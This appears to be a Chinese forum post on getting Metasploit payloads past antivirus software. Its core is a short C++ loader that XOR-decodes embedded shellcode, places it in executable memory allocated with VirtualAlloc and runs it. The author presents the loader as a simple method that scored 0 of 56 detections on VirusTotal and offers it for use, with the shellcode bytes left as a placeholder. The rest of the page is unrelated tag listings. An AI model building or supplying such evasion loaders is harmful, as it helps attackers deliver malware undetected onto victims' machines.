metasploit 免杀

本贴最后更新于 3357 天前,其中的信息可能已经时移世改

我原本打算写一篇冗长的博客讲述针对不同杀毒软件的绕过技术,但当我开始着手写教程的第一章并上传样本到 virustotal 后,我震惊了!样本得到了 0/56 的检测率。于是我决定扔掉先前的长篇大论,转而记录这个快速、令人难以置信的简单方法。


我相信大部分的读者都会同意这个观点,绕过大部分杀毒软件的基本方法都很平常没什么特殊的。然而,我也偶尔会遇到一些人仅仅依靠工具生成二进制文件,这些文件很容易被杀毒软件通过指纹标记出来。本文主要是为这些人所准备的。


在我们开始接触这段小巧的 C++ 代码前,我想先介绍一个可以非常棒的制造免杀的工具 Veil-Evasion (Veil-Framework的一部分)。这个工具非常神奇 (感谢 @harmj0y和他的小伙伴们创建了这个神奇的项目),在几乎所有情况下,它都没有让我失望过。如果有,那我就要批评那些总是不停生成二进制文件然后上传到 virustotal 进行测试的人。如果你不这么做,那就会更加美好了。


无论如何,这就引出了一个问题,既然像 Veil-Evasion 这类的工具这么神奇,那为什么你要关心如何自己在二进制文件加入 shellcode?原因有很多:


大牛都很忙而且工具有些过时。工具生成的二进制都拥有相似的指纹,不是指 payload,而是说工具编译二进制的结构有相似的指纹。作为一个渗透测试工作者,你应当知道如何做。 
在你看下面的代码前,你应该注意到这是针对 Windows 平台的,很明显代码中有 windows.h 的引用。


  • #include <windows.h>

  • #include <iostream>

  • int main(int argc, char **argv) {

  • char b[] = {/* 插入你经过与'x'异或操作后的shellcode代码,例如:0x4C,0x4F, 0x4C */};

  • char c[sizeof b];

  • for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}

  • void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  • memcpy(exec, c, sizeof c);

  • ((void(*)())exec)();

  • }

  • 很简单,上面的代码创建了一个可以自行添加包含 shellcode 的字符数组,关键点在于将你的 shellcode 与小写字母 ‘x’ 执行异或操作,然后分配一些内存,拷贝字符数组到分配的内存中,最后执行它。需要特别注意的是,你要先将 shellcode 与你选择的关键字(本例中为 ‘x’)进行异或操作,然后将 shellcode 放入到上面代码中并编译。


    这时你可能会问“就这样?”。我了解你的感受,因为当时我也是这么想的,在写完第一章内容并上传样本到 virustotal 后并收到 0/56 的检测率。我想强调这是一个令人难以置信的简单和基础的技术,但它成功率却出奇的高。



    你生成二进制文件的 SHA256 值可能跟我样本的不太一样,我样本中包含的 shellcode 是由 metasploit framework 生成的。


    相关帖子

    欢迎来到这里!

    我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

    注册 关于
    请输入回帖内容 ...

    推荐标签 标签

    • JetBrains

      JetBrains 是一家捷克的软件开发公司,该公司位于捷克的布拉格,并在俄国的圣彼得堡及美国麻州波士顿都设有办公室,该公司最为人所熟知的产品是 Java 编程语言开发撰写时所用的集成开发环境:IntelliJ IDEA

      18 引用 • 54 回帖
    • Netty

      Netty 是一个基于 NIO 的客户端-服务器编程框架,使用 Netty 可以让你快速、简单地开发出一个可维护、高性能的网络应用,例如实现了某种协议的客户、服务端应用。

      49 引用 • 33 回帖 • 54 关注
    • Vue.js

      Vue.js(读音 /vju ː/,类似于 view)是一个构建数据驱动的 Web 界面库。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。

      268 引用 • 666 回帖
    • Tomcat

      Tomcat 最早是由 Sun Microsystems 开发的一个 Servlet 容器,在 1999 年被捐献给 ASF(Apache Software Foundation),隶属于 Jakarta 项目,现在已经独立为一个顶级项目。Tomcat 主要实现了 JavaEE 中的 Servlet、JSP 规范,同时也提供 HTTP 服务,是市场上非常流行的 Java Web 容器。

      162 引用 • 529 回帖 • 7 关注
    • sts
      2 引用 • 2 回帖 • 247 关注
    • Hprose

      Hprose 是一款先进的轻量级、跨语言、跨平台、无侵入式、高性能动态远程对象调用引擎库。它不仅简单易用,而且功能强大。你无需专门学习,只需看上几眼,就能用它轻松构建分布式应用系统。

      9 引用 • 17 回帖 • 641 关注
    • 爬虫

      网络爬虫(Spider、Crawler),是一种按照一定的规则,自动地抓取万维网信息的程序。

      106 引用 • 275 回帖 • 1 关注
    • B3log

      B3log 是一个开源组织,名字来源于“Bulletin Board Blog”缩写,目标是将独立博客与论坛结合,形成一种新的网络社区体验,详细请看 B3log 构思。目前 B3log 已经开源了多款产品:SymSoloVditor思源笔记

      1062 引用 • 3455 回帖 • 137 关注
    • 浅吟主题

      Jeffrey Chen 制作的思源笔记主题,项目仓库:https://github.com/TCOTC/Whisper

      2 引用 • 34 回帖 • 1 关注
    • 机器学习

      机器学习(Machine Learning)是一门多领域交叉学科,涉及概率论、统计学、逼近论、凸分析、算法复杂度理论等多门学科。专门研究计算机怎样模拟或实现人类的学习行为,以获取新的知识或技能,重新组织已有的知识结构使之不断改善自身的性能。

      77 引用 • 37 回帖
    • Linux

      Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

      960 引用 • 946 回帖
    • IBM

      IBM(国际商业机器公司)或万国商业机器公司,简称 IBM(International Business Machines Corporation),总公司在纽约州阿蒙克市。1911 年托马斯·沃森创立于美国,是全球最大的信息技术和业务解决方案公司,拥有全球雇员 30 多万人,业务遍及 160 多个国家和地区。

      17 引用 • 53 回帖 • 152 关注
    • DevOps

      DevOps(Development 和 Operations 的组合词)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。

      59 引用 • 25 回帖
    • 周末

      星期六到星期天晚,实行五天工作制后,指每周的最后两天。再过几年可能就是三天了。

      14 引用 • 297 回帖
    • CSDN

      CSDN (Chinese Software Developer Network) 创立于 1999 年,是中国的 IT 社区和服务平台,为中国的软件开发者和 IT 从业者提供知识传播、职业发展、软件开发等全生命周期服务,满足他们在职业发展中学习及共享知识和信息、建立职业发展社交圈、通过软件开发实现技术商业化等刚性需求。

      14 引用 • 155 回帖
    • webpack

      webpack 是一个用于前端开发的模块加载器和打包工具,它能把各种资源,例如 JS、CSS(less/sass)、图片等都作为模块来使用和处理。

      42 引用 • 130 回帖 • 251 关注
    • Sphinx

      Sphinx 是一个基于 SQL 的全文检索引擎,可以结合 MySQL、PostgreSQL 做全文搜索,它可以提供比数据库本身更专业的搜索功能,使得应用程序更容易实现专业化的全文检索。

      1 引用 • 234 关注
    • 一些有用的避坑指南。

      69 引用 • 93 回帖
    • Word
      13 引用 • 41 回帖
    • 大疆创新

      深圳市大疆创新科技有限公司(DJI-Innovations,简称 DJI),成立于 2006 年,是全球领先的无人飞行器控制系统及无人机解决方案的研发和生产商,客户遍布全球 100 多个国家。通过持续的创新,大疆致力于为无人机工业、行业用户以及专业航拍应用提供性能最强、体验最佳的革命性智能飞控产品和解决方案。

      2 引用 • 14 回帖
    • BND

      BND(Baidu Netdisk Downloader)是一款图形界面的百度网盘不限速下载器,支持 Windows、Linux 和 Mac,详细介绍请看这里

      107 引用 • 1281 回帖 • 43 关注
    • SpaceVim

      SpaceVim 是一个社区驱动的模块化 vim/neovim 配置集合,以模块的方式组织管理插件以
      及相关配置,为不同的语言开发量身定制了相关的开发模块,该模块提供代码自动补全,
      语法检查、格式化、调试、REPL 等特性。用户仅需载入相关语言的模块即可得到一个开箱
      即用的 Vim-IDE。

      3 引用 • 31 回帖 • 114 关注
    • CloudFoundry

      Cloud Foundry 是 VMware 推出的业界第一个开源 PaaS 云平台,它支持多种框架、语言、运行时环境、云平台及应用服务,使开发人员能够在几秒钟内进行应用程序的部署和扩展,无需担心任何基础架构的问题。

      4 引用 • 16 回帖 • 200 关注
    • 以太坊

      以太坊(Ethereum)并不是一个机构,而是一款能够在区块链上实现智能合约、开源的底层系统。以太坊是一个平台和一种编程语言 Solidity,使开发人员能够建立和发布下一代去中心化应用。 以太坊可以用来编程、分散、担保和交易任何事物:投票、域名、金融交易所、众筹、公司管理、合同和知识产权等等。

      34 引用 • 367 回帖 • 1 关注
    • Openfire

      Openfire 是开源的、基于可拓展通讯和表示协议 (XMPP)、采用 Java 编程语言开发的实时协作服务器。Openfire 的效率很高,单台服务器可支持上万并发用户。

      6 引用 • 7 回帖 • 119 关注
    • 心情

      心是产生任何想法的源泉,心本体会陷入到对自己本体不能理解的状态中,因为心能产生任何想法,不能分出对错,不能分出自己。

      59 引用 • 369 回帖
    • 工具

      子曰:“工欲善其事,必先利其器。”

      303 引用 • 772 回帖